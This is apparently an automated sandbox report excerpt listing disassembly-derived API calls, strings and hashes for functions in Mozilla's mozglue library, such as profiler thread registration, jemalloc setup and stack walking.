??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C9AF8F9

Part of subcall function 6C976390: GetCurrentThreadId.KERNEL32 ref: 6C9763D0
Part of subcall function 6C976390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9763DF
Part of subcall function 6C976390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C97640E

ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF93A
GetCurrentThreadId.KERNEL32 ref: 6C9AF98A
GetCurrentThreadId.KERNEL32 ref: 6C9AF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF716

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C96B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C96B5E0

GetCurrentThreadId.KERNEL32 ref: 6C9AF739
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF746
GetCurrentThreadId.KERNEL32 ref: 6C9AF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9E385B,00000002,?,?,?,?,?), ref: 6C9AF829
free.MOZGLUE(?,?,00000000,?), ref: 6C9AF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C9AF866
free.MOZGLUE(?), ref: 6C9AFA0C

Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C
Part of subcall function 6C975E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EAB
Part of subcall function 6C975E60: GetCurrentThreadId.KERNEL32 ref: 6C975EB8
Part of subcall function 6C975E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27
Part of subcall function 6C975E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F53
Part of subcall function 6C975E60: GetCurrentThread.KERNEL32 ref: 6C975F5C
Part of subcall function 6C975E60: GetCurrentProcess.KERNEL32 ref: 6C975F66
Part of subcall function 6C975E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E

free.MOZGLUE(?), ref: 6C9AF9C5
free.MOZGLUE(?), ref: 6C9AF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C9AF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C9AF9A6
Thread , xrefs: 6C9AF789
" attempted to re-register as ", xrefs: 6C9AF858

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction ID: 716841f7cea8d822341d2fbb1abd3926652e4b4e4eaed9c9ae4b3decc65c3513
Opcode Fuzzy Hash: 82370fd8e5faea506a71c310208b6189c4858e29252bf5bea799bd2d42c8e4c6
Instruction Fuzzy Hash: D28104716043009FDB11DF64C840BAAB7B5FFE9308F55496DE8499BB51EB30D84ACBA2

Function 6C9AEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AEE60
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE6D
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C9AEEA5
CloseHandle.KERNEL32(?), ref: 6C9AEEB4
free.MOZGLUE(00000000), ref: 6C9AEEBB
GetCurrentThreadId.KERNEL32 ref: 6C9AEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AEECF

Part of subcall function 6C9ADE60: GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
Part of subcall function 6C9ADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B
Part of subcall function 6C9ADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
Part of subcall function 6C9ADE60: free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
Part of subcall function 6C9ADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9AEF1E
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF2B
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEF59
GetCurrentThreadId.KERNEL32 ref: 6C9AEFB0
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFBD
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AEFE1
GetCurrentThreadId.KERNEL32 ref: 6C9AEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF000

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C9AF02F

Part of subcall function 6C9AF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9AF09B
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C9AF0AC
Part of subcall function 6C9AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C9AF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C9AEED7
[I %d/%d] profiler_pause, xrefs: 6C9AF008

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction ID: 9b5baf518c6750a9e02c39c71052de8548abc123fbef81af768700f4a1109351
Opcode Fuzzy Hash: e0b5e06fa548aa66f4fe7a080d330313e7f5786b9f3c77c218a307b030f63438
Instruction Fuzzy Hash: 3651C0316083109FDB416BA4E4087A53BB8EFBE21CF34056AE91583F40EB36C815C7E6

Function 6C99D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C99D047
GetSystemInfo.KERNEL32(?), ref: 6C99D093
__Init_thread_footer.LIBCMT ref: 6C99D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C99D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C99D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C99D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C99D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C99D322
<jemalloc>, xrefs: 6C99D268, 6C99D311
Compile-time page size does not divide the runtime one., xrefs: 6C99D26D
MALLOC_OPTIONS, xrefs: 6C99D0CB
MOZ_CRASH(), xrefs: 6C99D277

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction ID: b03fdd240988c593e7ca7b8a400660fa53ac528a8f5f3d39aaf2389828ef5093
Opcode Fuzzy Hash: a27895742619cb028cfca6ccb5661c29c44cd89c2acce0ce9484d10a43fd0711
Instruction Fuzzy Hash: 2881D272B08240DBEB549F69C984B6937B9FF7E708F280529E90197B80D772D845CBD2

Function 6C975E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975E9D

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

GetCurrentThreadId.KERNEL32 ref: 6C975EAB
GetCurrentThreadId.KERNEL32 ref: 6C975EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C975ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C976017

Part of subcall function 6C964310: moz_xmalloc.MOZGLUE(00000010,?,6C9642D2), ref: 6C96436A
Part of subcall function 6C964310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9642D2), ref: 6C964387

moz_xmalloc.MOZGLUE(00000004), ref: 6C975F47
GetCurrentProcess.KERNEL32 ref: 6C975F53
GetCurrentThread.KERNEL32 ref: 6C975F5C
GetCurrentProcess.KERNEL32 ref: 6C975F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C975F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C975F27

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C975E8C

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C97605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9755E1), ref: 6C9760CC

Strings

GeckoMain, xrefs: 6C975ECE, 6C976015

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction ID: 14251ca59e7385bcc935e5c0133e369f5812919bbaf5ad3b65cf56d2c55593da
Opcode Fuzzy Hash: 8960327e0a59053ca19c450abf1c51b2d3b76c8de828bb830a81ed0ed48bede2
Instruction Fuzzy Hash: 1871F5B0609740DFD750DF25D484A6ABBF0FF6A308F14496EE48687B52D731E948CBA2

Function 6C979590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C963217
Part of subcall function 6C9631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C963236
Part of subcall function 6C9631C0: FreeLibrary.KERNEL32 ref: 6C96324B
Part of subcall function 6C9631C0: __Init_thread_footer.LIBCMT ref: 6C963260
Part of subcall function 6C9631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C96327F
Part of subcall function 6C9631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96328E
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632AB
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9632D1
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9632E5
Part of subcall function 6C9631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670
NtMapViewOfSection, xrefs: 6C979701
MapViewOfFileNuma2, xrefs: 6C9797B1
ntdll.dll, xrefs: 6C9796E3

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction ID: 2255980e80f02c6529eb37a82f2fe8dcc81a6e115dbf470b60d64625d6b52f61
Opcode Fuzzy Hash: 595ac8bd3f61f0982340874a5b2509a80a8579773698ea50d2f95b49a51c7c94
Instruction Fuzzy Hash: 05610571609305DBDF10CF69E884B9A3BB5FFAEB18F21451AE91583B80D731D844CBA1

Function 6C977FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C978007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C97801D

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C97802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C97803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C97808D

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C97809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C978133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C978149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C978167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C97817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C978199

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction ID: 3f8d096ea9da36fee25b497ea759c1ef8f970cf849d7a8d3b2d2d6107c961841
Opcode Fuzzy Hash: d7652ef5e0b983d38e575d6bc149e8cde9c7e52c0f2b93d5dc3daa544d2c15a5
Instruction Fuzzy Hash: 2C5193B2E01204ABDF10DBA5DC849EFB7B9AF69224F240525E815F7741E730E904CBB5

Function 6C9C6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6694
GetThreadId.KERNEL32(?), ref: 6C9C66B1
GetCurrentThreadId.KERNEL32 ref: 6C9C66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9C66E1
EnterCriticalSection.KERNEL32(6C9EF618), ref: 6C9C6734
GetCurrentProcess.KERNEL32 ref: 6C9C673A
LeaveCriticalSection.KERNEL32(6C9EF618), ref: 6C9C676C
GetCurrentThread.KERNEL32 ref: 6C9C67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9C6868
RtlCaptureContext.NTDLL ref: 6C9C687F

Strings

WalkStack64, xrefs: 6C9C6890

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction ID: 9f7277f9b6d2efab59e9e0cb485affda18df69dc592b538b5569a5db08b6fcd5
Opcode Fuzzy Hash: 13d0fe0773d5af7dcad45940b900da003e499c42668cb37f964e292d64b003e9
Instruction Fuzzy Hash: 88518A71A09341AFDB11CF24C884A6ABBF8BF9DB14F10492DF99997640D770E918CB93

Function 6C9ADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9ADE73
GetCurrentThreadId.KERNEL32 ref: 6C9ADF7D
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADF8A
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ADFC9
GetCurrentThreadId.KERNEL32 ref: 6C9ADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C974A68), ref: 6C9ADE7B

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C974A68), ref: 6C9ADEB8
free.MOZGLUE(00000000,?,6C974A68), ref: 6C9ADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C9ADF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C9ADE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C9AE00E
<none>, xrefs: 6C9ADFD7

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction ID: b2e432233aa7ff7654ecfa02c4ded3722ea480bd4f3e2549dcfa46f29682cee3
Opcode Fuzzy Hash: 93237df78516550db2a5654f682119f1889c8aee35ca0d655dd967e0bbcd39bd
Instruction Fuzzy Hash: 9341D5767052119BDB109BA4E8087AA7779FFBD30CF24001AED0997B41DB32D916CBE6

Function 6C9BD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BD4F0
